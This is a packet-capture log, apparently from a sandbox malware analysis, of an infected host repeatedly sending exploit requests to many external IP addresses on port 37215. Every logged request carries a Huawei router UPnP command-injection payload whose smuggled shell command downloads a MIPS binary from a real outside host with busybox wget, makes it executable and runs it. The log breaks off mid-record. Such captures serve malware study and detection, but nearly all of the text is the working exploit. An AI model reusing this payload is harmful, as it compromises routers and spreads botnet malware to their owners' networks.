Jun 10, 2024 15:38:03.876329899 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1144	192.168.2.13	42088	41.115.229.191	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.879390955 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1145	192.168.2.13	44008	41.68.149.138	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.882498026 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1146	192.168.2.13	54888	156.85.5.202	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.888927937 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1147	192.168.2.13	44014	197.22.210.109	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.892574072 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1148	192.168.2.13	49584	156.50.98.187	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.894802094 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1149	192.168.2.13	36096	156.207.24.233	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.898170948 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1150	192.168.2.13	59388	41.99.47.89	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.901463985 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1151	192.168.2.13	42016	41.51.146.106	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.903762102 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1152	192.168.2.13	54348	156.187.103.115	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.906440020 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1153	192.168.2.13	36006	197.194.181.47	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.909337997 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 